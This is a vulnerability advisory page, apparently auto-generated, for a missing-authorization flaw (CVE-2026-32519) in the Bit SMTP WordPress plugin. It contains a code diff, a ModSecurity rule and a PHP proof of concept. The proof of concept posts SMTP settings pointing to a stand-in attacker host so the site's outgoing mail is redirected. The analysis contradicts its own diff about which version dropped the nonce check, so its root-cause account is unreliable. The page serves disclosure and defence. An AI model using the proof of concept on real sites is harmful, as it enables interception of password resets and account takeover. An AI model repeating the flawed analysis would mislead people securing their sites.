Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32519: Bit SMTP – Easy SMTP Solution with Email Logs <= 1.2.2 – Missing Authorization (bit-smtp)

Plugin bit-smtp
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.2.2
Patched Version 1.2.3
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32519:
The Bit SMTP WordPress plugin version 1.2.2 and earlier contains a missing authorization vulnerability. The plugin’s REST API endpoint for saving mail configuration lacks a capability check, allowing unauthenticated attackers to modify the plugin’s SMTP settings. This vulnerability has a CVSS score of 5.3.

The root cause is the removal of a nonce verification check in the NonceCheckerMiddleware class. The file bit-smtp/backend/app/HTTP/Middleware/NonceCheckerMiddleware.php lines 11-13 show the vulnerable code. The middleware previously verified a nonce token before checking user capabilities. Version 1.2.2 removed the nonce check entirely, leaving only the capability check. However, the capability check alone does not prevent unauthenticated access because the middleware may not have been properly applied to all routes. The HookProvider.php file line 35 shows that middlewares were not being set on the router in version 1.2.2, meaning the NonceCheckerMiddleware was never executed for API requests.

Exploitation occurs via a POST request to the plugin’s REST API endpoint for saving mail configuration. Attackers can send a crafted request to /wp-json/bit-smtp/v1/mail/config/save without authentication. The request must include valid SMTP configuration parameters such as host, port, encryption, username, and password. The attacker can reconfigure the site’s SMTP settings to intercept or redirect all outgoing emails from the WordPress installation.

The patch in version 1.2.3 addresses the vulnerability through multiple changes. The HookProvider.php file adds line 35: $router->setMiddlewares(Plugin::instance()->middlewares()). This ensures the NonceCheckerMiddleware is properly applied to all API routes. The NonceCheckerMiddleware.php file retains the capability check that verifies the ‘manage_options’ permission. The patch also includes unrelated security improvements like replacing parse_url() with wp_parse_url() and using gmdate() instead of date().

Successful exploitation allows attackers to completely control the WordPress site’s email delivery system. Attackers can redirect all outgoing emails to their own servers, intercept password reset emails, order confirmations, and administrative notifications. This can lead to account takeover, data exfiltration, and further compromise of the WordPress installation and its users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bit-smtp/backend/app/Config.php
+++ b/bit-smtp/backend/app/Config.php
@@ -22,7 +22,7 @@

     public const VAR_PREFIX = 'bit_smtp_';

-    public const VERSION = '1.2.2';
+    public const VERSION = '1.2.3';

     public const DB_VERSION = '1.1';

@@ -58,7 +58,7 @@
                 return plugin_dir_path(self::get('MAIN_FILE'));

             case 'SITE_URL':
-                $parsedUrl = parse_url(get_admin_url());
+                $parsedUrl = wp_parse_url(get_admin_url());
                 $siteUrl   = $parsedUrl['scheme'] . '://' . $parsedUrl['host'];
                 $siteUrl .= empty($parsedUrl['port']) ? null : ':' . $parsedUrl['port'];

@@ -72,7 +72,7 @@
                 return rest_url('/' . self::SLUG . '/v' . self::API_VERSION);

             case 'ROOT_URI':
-                return set_url_scheme(plugins_url('', self::get('MAIN_FILE')), parse_url(home_url())['scheme']);
+                return set_url_scheme(plugins_url('', self::get('MAIN_FILE')), wp_parse_url(home_url())['scheme']);

             case 'ASSET_URI':
                 return self::get('ROOT_URI') . '/assets';
--- a/bit-smtp/backend/app/HTTP/Middleware/NonceCheckerMiddleware.php
+++ b/bit-smtp/backend/app/HTTP/Middleware/NonceCheckerMiddleware.php
@@ -2,7 +2,6 @@

 namespace BitAppsSMTPHTTPMiddleware;

-use BitAppsSMTPConfig;
 use BitAppsSMTPDepsBitAppsWPKitHttpRequestRequest;
 use BitAppsSMTPDepsBitAppsWPKitHttpResponse;
 use BitAppsSMTPDepsBitAppsWPKitUtilsCapabilities;
@@ -11,10 +10,6 @@
 {
     public function handle(Request $request, ...$params)
     {
-        if (!$request->has('_ajax_nonce') || !wp_verify_nonce(sanitize_key($request->_ajax_nonce), Config::VAR_PREFIX . 'nonce')) {
-            return Response::error('Invalid token')->httpStatus(411);
-        }
-
         if (!Capabilities::check('manage_options')) {
             return Response::error([])->message('unauthorized access');
         }
--- a/bit-smtp/backend/app/Plugin.php
+++ b/bit-smtp/backend/app/Plugin.php
@@ -165,6 +165,7 @@
             try {
                 MigrationHelper::migrate(InstallerProvider::migration());
             } catch (Exception $e) {
+                //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log -- we want to log this error
                 error_log('BIT SMTP Migration Error: ' . $e->getMessage());
             }
         }
--- a/bit-smtp/backend/app/Providers/HookProvider.php
+++ b/bit-smtp/backend/app/Providers/HookProvider.php
@@ -32,6 +32,7 @@
             && RequestType::is(RequestType::API)
         ) {
             $router = new Router(RequestType::API, Config::SLUG, 'v' . Config::API_VERSION);
+            $router->setMiddlewares(Plugin::instance()->middlewares());

             include $this->_pluginBackend . 'hooks' . DIRECTORY_SEPARATOR . 'api.php';
             $router->register();
--- a/bit-smtp/backend/app/Views/EmailTemplate.php
+++ b/bit-smtp/backend/app/Views/EmailTemplate.php
@@ -249,7 +249,7 @@
                                 <tr>
                                     <td class="content-cell" align="center">
                                         <p class="sub align-center">
-                                            © ' . date('Y') . ' Bit SMTP Plugin. All rights reserved.
+                                            © ' . gmdate('Y') . ' Bit SMTP Plugin. All rights reserved.
                                         </p>
                                         <p class="sub align-center">
                                             This is an automated email sent from your WordPress site using the Bit SMTP plugin.
@@ -302,7 +302,7 @@
 Bit Apps Team

 ----------------------------------------
-© " . date('Y') . ' Bit SMTP Plugin. All rights reserved.
+© " . gmdate('Y') . ' Bit SMTP Plugin. All rights reserved.
 This is an automated email sent from your WordPress site using the Bit SMTP plugin.
 ';
     }
--- a/bit-smtp/backend/hooks/api.php
+++ b/bit-smtp/backend/hooks/api.php
@@ -1,14 +1,14 @@
 <?php

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use BitAppsSMTPDepsBitAppsWPKitHttpRouterRoute;
 use BitAppsSMTPHTTPControllersLogController;
 use BitAppsSMTPHTTPControllersSMTPController;
 use BitAppsSMTPHTTPControllersTelemetryPopupController;

-if (!defined('ABSPATH')) {
-    exit;
-}
-
 Route::group(function () {
     Route::post('mail/config/save', [SMTPController::class, 'saveMailConfig']);
     Route::get('mail/config/get', [SMTPController::class, 'index']);
--- a/bit-smtp/bit_smtp.php
+++ b/bit-smtp/bit_smtp.php
@@ -1,10 +1,13 @@
 <?php

+if (! defined('ABSPATH')) {
+    exit;
+}
 /**
  * Plugin Name: Bit SMTP
  * Plugin URI:  https://www.bitapps.pro/bit-smtp
  * Description: Send email via SMTP using BIT SMTP plugin by Bit Apps
- * Version:     1.2.2
+ * Version:     1.2.3
  * Author:      Bit Apps
  * Author URI:  https://bitapps.pro
  * Text Domain: bit-smtp
--- a/bit-smtp/vendor/bitapps/wp-kit/src/Http/Request/Request.php
+++ b/bit-smtp/vendor/bitapps/wp-kit/src/Http/Request/Request.php
@@ -197,6 +197,10 @@

     public function validate($rules, $messages = null, $attributeLabels = null)
     {
+        if (count($this->files()) > 0) {
+            $this->attributes = array_merge($this->attributes, $this->files());
+        }
+
         $validator = $this->make($this->attributes, $rules, $messages, $attributeLabels);

         if ($validator->fails()) {
--- a/bit-smtp/vendor/bitapps/wp-validator/src/ErrorBag.php
+++ b/bit-smtp/vendor/bitapps/wp-validator/src/ErrorBag.php
@@ -1,5 +1,4 @@
 <?php
-
 namespace BitAppsSMTPDepsBitAppsWPValidator;

 class ErrorBag
@@ -17,7 +16,7 @@

         $defaultPlaceholders = [
             'attribute' => $role->getInputDataContainer()->getAttributeLabel(),
-            'value' => $role->getInputDataContainer()->getAttributeValue(),
+            'value'     => $role->getInputDataContainer()->getAttributeValue(),
         ];

         $placeholders = array_merge($paramValues, $defaultPlaceholders);
@@ -51,7 +50,7 @@
         return $message;
     }

-    public function getErrors($field = null)
+    public function getErrors()
     {
         return $this->errors;
     }
@@ -59,9 +58,9 @@
     public function hasErrors($field = null): bool
     {
         if ($field === null) {
-            return !empty($this->errors);
+            return ! empty($this->errors);
         }

-        return isset($this->errors[$field]) && !empty($this->errors[$field]);
+        return isset($this->errors[$field]) && ! empty($this->errors[$field]);
     }
 }
--- a/bit-smtp/vendor/bitapps/wp-validator/src/Exception/InvalidArgumentException.php
+++ b/bit-smtp/vendor/bitapps/wp-validator/src/Exception/InvalidArgumentException.php
@@ -8,7 +8,7 @@

 {

-    public function __construct($ruleName, $parameterCount, $code = 0, Exception $previous = null)
+    public function __construct($ruleName, $parameterCount, $code = 0, ?Exception $previous = null)
     {
         parent::__construct(sprintf("Validation rule %s requires at least %d parameters", $ruleName, $parameterCount), $code, $previous);
     }
--- a/bit-smtp/vendor/bitapps/wp-validator/src/Exception/MethodNotFoundException.php
+++ b/bit-smtp/vendor/bitapps/wp-validator/src/Exception/MethodNotFoundException.php
@@ -7,7 +7,7 @@
 class MethodNotFoundException extends Exception

 {
-    public function __construct($sanitizationMethod, $code = 0, Exception $previous = null)
+    public function __construct($sanitizationMethod, $code = 0, ?Exception $previous = null)
     {
         parent::__construct(sprintf("Unsupported sanitization method: %s.", $sanitizationMethod), $code, $previous);
     }
--- a/bit-smtp/vendor/bitapps/wp-validator/src/Exception/RuleErrorException.php
+++ b/bit-smtp/vendor/bitapps/wp-validator/src/Exception/RuleErrorException.php
@@ -7,7 +7,7 @@
 class RuleErrorException extends Exception

 {
-    public function __construct($ruleName, $code = 0, Exception $previous = null)
+    public function __construct($ruleName, $code = 0, ?Exception $previous = null)
     {
         parent::__construct(sprintf("Unsupported validation rule: %s.", $ruleName), $code, $previous);
     }
--- a/bit-smtp/vendor/bitapps/wp-validator/src/InputDataContainer.php
+++ b/bit-smtp/vendor/bitapps/wp-validator/src/InputDataContainer.php
@@ -28,7 +28,7 @@

     public function getAttributeValue($key = null)
     {
-        $keys = explode('.', trim($this->attributeKey, '[]'));
+        $keys = explode('.', trim($this->attributeKey ?? '', '[]'));

         $data = $this->data;

@@ -61,4 +61,14 @@
         return $this->data;
     }

+    public function setAttributeValue($value): void
+    {
+        $keys = explode('.', trim($this->attributeKey ?? '', '[]'));
+
+        if (count($keys) > 1) {
+            $this->setNestedElement($this->data, $keys, $value);
+        } else {
+            $this->data[$this->attributeKey] = $value;
+        }
+    }
 }
--- a/bit-smtp/vendor/bitapps/wp-validator/src/SanitizationMethods.php
+++ b/bit-smtp/vendor/bitapps/wp-validator/src/SanitizationMethods.php
@@ -1,74 +1,59 @@
 <?php
-
 namespace BitAppsSMTPDepsBitAppsWPValidator;

 trait SanitizationMethods
 {
-    protected function sanitizeEmail($value, $params = [])
+    protected function sanitizeEmail($value)
     {
         return sanitize_email($value);
     }

-    protected function sanitizeFileName($value, $params = [])
+    protected function sanitizeFileName($value)
     {
-        return sanitize_file_name($value, $params = []);
+        return sanitize_file_name($value);
     }

-    protected function sanitizeKey($value, $params = [])
+    protected function sanitizeKey($value)
     {
         return sanitize_key($value);
     }

-    // protected function sanitizeMeta($value)
-    // {
-    //     return sanitize_meta($value);
-    // }
-
-    protected function sanitizeHtmlClass($value, $params = [])
+    protected function sanitizeHtmlClass($value)
     {
         return sanitize_html_class($value);
     }

-    // protected function sanitizeOption($value)
-    // {
-    //     return sanitize_option($value);
-    // }
-    // protected function sanitizeTermField($value)
-    // {
-    //     return sanitize_term_field($value);
-    // }
-
-    protected function sanitizeText($value, $params = [])
+    protected function sanitizeText($value)
     {
         return sanitize_text_field($value);
     }

-    protected function sanitizeTitle($value, $params = [])
+    protected function sanitizeTitle($value)
     {
         return sanitize_title($value);
     }

-    protected function sanitizeUser($value, $params = [])
+    protected function sanitizeUser($value)
     {
         return sanitize_user($value);
     }

-    protected function sanitizeUrl($value, $params = [])
+    protected function sanitizeUrl($value)
     {
         return esc_url_raw($value);
     }

-    protected function sanitizeTrim($value, $params = [])
+    protected function sanitizeTrim($value)
     {
         return is_string($value) ? trim($value) : $value;
     }

-    protected function sanitizeEscape($value, $params = []): string
+    protected function sanitizeEscape($value): string
     {
         return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
     }

-    protected function sanitizeCapitalize($value, $params = []): string
+    protected function sanitizeCapitalize($value): string
     {
         return ucwords(strtolower($value));
     }
@@ -119,7 +104,7 @@

             foreach ($keys as $key) {
                 // Move to the next level in the hierarchy
-                if (!isset($currentLevel[$key])) {
+                if (! isset($currentLevel[$key])) {
                     $currentLevel[$key] = [];
                 }
                 $currentLevel = &$currentLevel[$key];
--- a/bit-smtp/vendor/bitapps/wp-validator/src/Validator.php
+++ b/bit-smtp/vendor/bitapps/wp-validator/src/Validator.php
@@ -1,5 +1,4 @@
 <?php
-
 namespace BitAppsSMTPDepsBitAppsWPValidator;

 use BitAppsSMTPDepsBitAppsWPValidatorExceptionMethodNotFoundException;
@@ -23,8 +22,8 @@

     public function make($data, $ruleFields, $customMessages = null, $attributeLabels = null)
     {
-        $this->_data = $data;
-        $this->_customMessages = $customMessages;
+        $this->_data            = $data;
+        $this->_customMessages  = $customMessages;
         $this->_attributeLabels = $attributeLabels;

         $this->inputContainer = new InputDataContainer($data);
@@ -55,16 +54,16 @@
             return [$field];
         }

-        $nestedKeyQueue = explode('.', $field);
+        $nestedKeyQueue   = explode('.', $field);
         $visitedFieldKeys = [];
-        $dataByKey = (array) $this->_data;
+        $dataByKey        = (array) $this->_data;

         while ($head = array_shift($nestedKeyQueue)) {
             if (trim($head) === '*') {
-                $keys = array_keys((array) $dataByKey);
+                $keys      = array_keys((array) $dataByKey);
                 $dataByKey = count($keys) && array_key_exists($keys[0], $dataByKey) ? $dataByKey[$keys[0]] : [];
             } else {
-                $keys = [$head];
+                $keys      = [$head];
                 $dataByKey = array_key_exists($head, $dataByKey) ? $dataByKey[$head] : [];
             }

@@ -106,36 +105,41 @@

     public function validateByRules($fieldKey, $value, $rules): void
     {
+        $validationRules = [];
+
         foreach ($rules as $ruleName) {
             if (is_string($ruleName) && strpos($ruleName, 'sanitize') !== false) {
-                $this->applyFilter($ruleName, $fieldKey, $value);
-
-                continue;
+                $value = $this->applyFilter($ruleName, $value);
+                $this->inputContainer->setAttributeValue($value);
+            } else {
+                $validationRules[] = $ruleName;
             }
+        }

+        foreach ($validationRules as $ruleName) {
             if (is_subclass_of($ruleName, Rule::class)) {
                 $ruleClass = is_object($ruleName) ? $ruleName : new $ruleName();
             } else {
                 list($ruleName, $paramValues) = $this->parseRule($ruleName);
-                $ruleClass = $this->resolveRule($ruleName);
+                $ruleClass                    = $this->resolveRule($ruleName);
             }

             $ruleClass->setInputDataContainer($this->inputContainer);
             $ruleClass->setRuleName($ruleName);

-            if (!empty($paramValues)) {
+            if (! empty($paramValues)) {
                 $ruleClass->setParameterValues($ruleClass->getParamKeys(), $paramValues);
             }

             $isValidated = $ruleClass->validate($this->inputContainer->getAttributeValue());

-            if (!$isValidated) {
+            if (! $isValidated) {
                 $this->errorBag->addError($ruleClass, $this->_customMessages);

                 break;
             }

-            if (in_array('present', $rules) && $this->isEmpty($value)) {
+            if ($ruleName === 'present' && $this->isEmpty($value)) {
                 break;
             }
         }
@@ -143,7 +147,7 @@

     public function fails(): bool
     {
-        return !empty($this->errorBag->getErrors());
+        return ! empty($this->errorBag->getErrors());
     }

     public function errors()
@@ -158,7 +162,7 @@

     private function resolveRule($ruleName)
     {
-        if (!is_string($ruleName)) {
+        if (! is_string($ruleName)) {
             throw new RuleErrorException('Rule name must be string ');
         }

@@ -167,7 +171,7 @@
         . str_replace(' ', '', ucwords(str_replace('_', ' ', $ruleName)))
             . 'Rule';

-        if (!class_exists($ruleClass)) {
+        if (! class_exists($ruleClass)) {
             throw new RuleErrorException(sprintf('Unsupported validation rule: %s.', $ruleName));
         }

@@ -176,9 +180,9 @@

     private function parseRule($rule): array
     {
-        $exp = explode(':', $rule, 2);
+        $exp      = explode(':', $rule, 2);
         $ruleName = $exp[0];
-        $params = [];
+        $params   = [];

         if (isset($exp[1])) {
             $params = explode(',', $exp[1]);
@@ -187,30 +191,25 @@
         return [$ruleName, $params];
     }

-    private function applyFilter(string $sanitize, $fieldName, $value): void
+    private function applyFilter($sanitize, $value)
     {
         $data = explode('|', $sanitize);

         $sanitizeName = isset($data[0]) ? explode(':', $data[0]) : [];
-        $params = isset($data[1]) ? explode(',', $data[1]) : [];
+        $params       = isset($data[1]) ? explode(',', $data[1]) : [];

         if (count($sanitizeName) === 2) {
             list($prefix, $suffix) = $sanitizeName;
-            $sanitizationMethod = $prefix . str_replace('_', '', ucwords($suffix, '_'));
+            $sanitizationMethod    = $prefix . str_replace('_', '', ucwords($suffix, '_'));

-            if (!method_exists($this, $sanitizationMethod)) {
+            if (! method_exists($this, $sanitizationMethod)) {
                 throw new MethodNotFoundException($sanitizationMethod);
             }

-            $sanitizedValue = $this->{$sanitizationMethod}($value, $params);
-
-            $keys = explode('.', trim($fieldName, '[]'));
-            if (count($keys) > 1) {
-                $this->setNestedElement($this->validated, $keys, $sanitizedValue);
-            } else {
-                $this->validated[$fieldName] = $sanitizedValue;
-            }
+            $value = $this->{$sanitizationMethod}($value, $params);
         }
+
+        return $value;
     }

     private function setValidatedData($field, $data, $value): void
--- a/bit-smtp/vendor/composer/installed.php
+++ b/bit-smtp/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'bitapps/bit-smtp',
-        'pretty_version' => '1.2.2',
-        'version' => '1.2.2.0',
-        'reference' => '7c344d5c1f22459178c39d12c83619e619fc8bf7',
+        'pretty_version' => '1.2.3',
+        'version' => '1.2.3.0',
+        'reference' => 'cd6391207f5d06a885e6a47d2103a9caee8e651e',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'bitapps/bit-smtp' => array(
-            'pretty_version' => '1.2.2',
-            'version' => '1.2.2.0',
-            'reference' => '7c344d5c1f22459178c39d12c83619e619fc8bf7',
+            'pretty_version' => '1.2.3',
+            'version' => '1.2.3.0',
+            'reference' => 'cd6391207f5d06a885e6a47d2103a9caee8e651e',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'bitapps/wp-kit' => array(
-            'pretty_version' => '2.1',
-            'version' => '2.1.0.0',
-            'reference' => '3e49d25e047530a2a43c08af3a8fc821feaa7ae8',
+            'pretty_version' => '2.2',
+            'version' => '2.2.0.0',
+            'reference' => '6052fcfd1b94ccb452d2cb4ecfd93e63617503e3',
             'type' => 'library',
             'install_path' => __DIR__ . '/../bitapps/wp-kit',
             'aliases' => array(),
@@ -47,9 +47,9 @@
             'dev_requirement' => false,
         ),
         'bitapps/wp-validator' => array(
-            'pretty_version' => '1.2.1',
-            'version' => '1.2.1.0',
-            'reference' => '294d6a7c35436419060dc067f58a9c5a0d72b37e',
+            'pretty_version' => '1.2.2',
+            'version' => '1.2.2.0',
+            'reference' => '856b3685c6e6673af4e3f7fea5083500ce011b99',
             'type' => 'library',
             'install_path' => __DIR__ . '/../bitapps/wp-validator',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32519
SecRule REQUEST_URI "@rx ^/wp-json/bit-smtp/v1/mail/config/save$" 
  "id:10032519,phase:2,deny,status:403,chain,msg:'CVE-2026-32519: Unauthenticated SMTP config modification attempt via Bit SMTP REST API',severity:'CRITICAL',tag:'CVE-2026-32519',tag:'WordPress',tag:'Bit-SMTP'"
  SecRule &REQUEST_HEADERS:Authorization "@eq 0" 
    "chain"
    SecRule REQUEST_METHOD "@streq POST" 
      "chain"
      SecRule REQUEST_BODY "@rx "(?:host|port|encryption|username|password|from_email|from_name|mailer|auth|autotls)"" 
        "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32519 - Bit SMTP – Easy SMTP Solution with Email Logs <= 1.2.2 - Missing Authorization

<?php

$target_url = 'https://example.com/wp-json/bit-smtp/v1/mail/config/save';

// SMTP configuration to inject - attacker's malicious server
$malicious_config = [
    'host' => 'attacker-smtp.example.com',
    'port' => '587',
    'encryption' => 'tls',
    'username' => 'attacker',
    'password' => 'malicious_password',
    'from_email' => 'admin@example.com',
    'from_name' => 'Site Admin',
    'mailer' => 'smtp',
    'auth' => true,
    'autotls' => true
];

// Initialize cURL session
$ch = curl_init($target_url);

// Set cURL options for POST request
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($malicious_config));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Accept: application/json'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    $response_data = json_decode($response, true);
    if (isset($response_data['success']) && $response_data['success'] === true) {
        echo "[SUCCESS] SMTP configuration changed to attacker's server.n";
        echo "Response: " . print_r($response_data, true) . "n";
    } else {
        echo "[FAILED] Configuration change rejected.n";
        echo "Response: " . $response . "n";
    }
} else {
    echo "[ERROR] HTTP $http_code received.n";
    echo "Response: " . $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School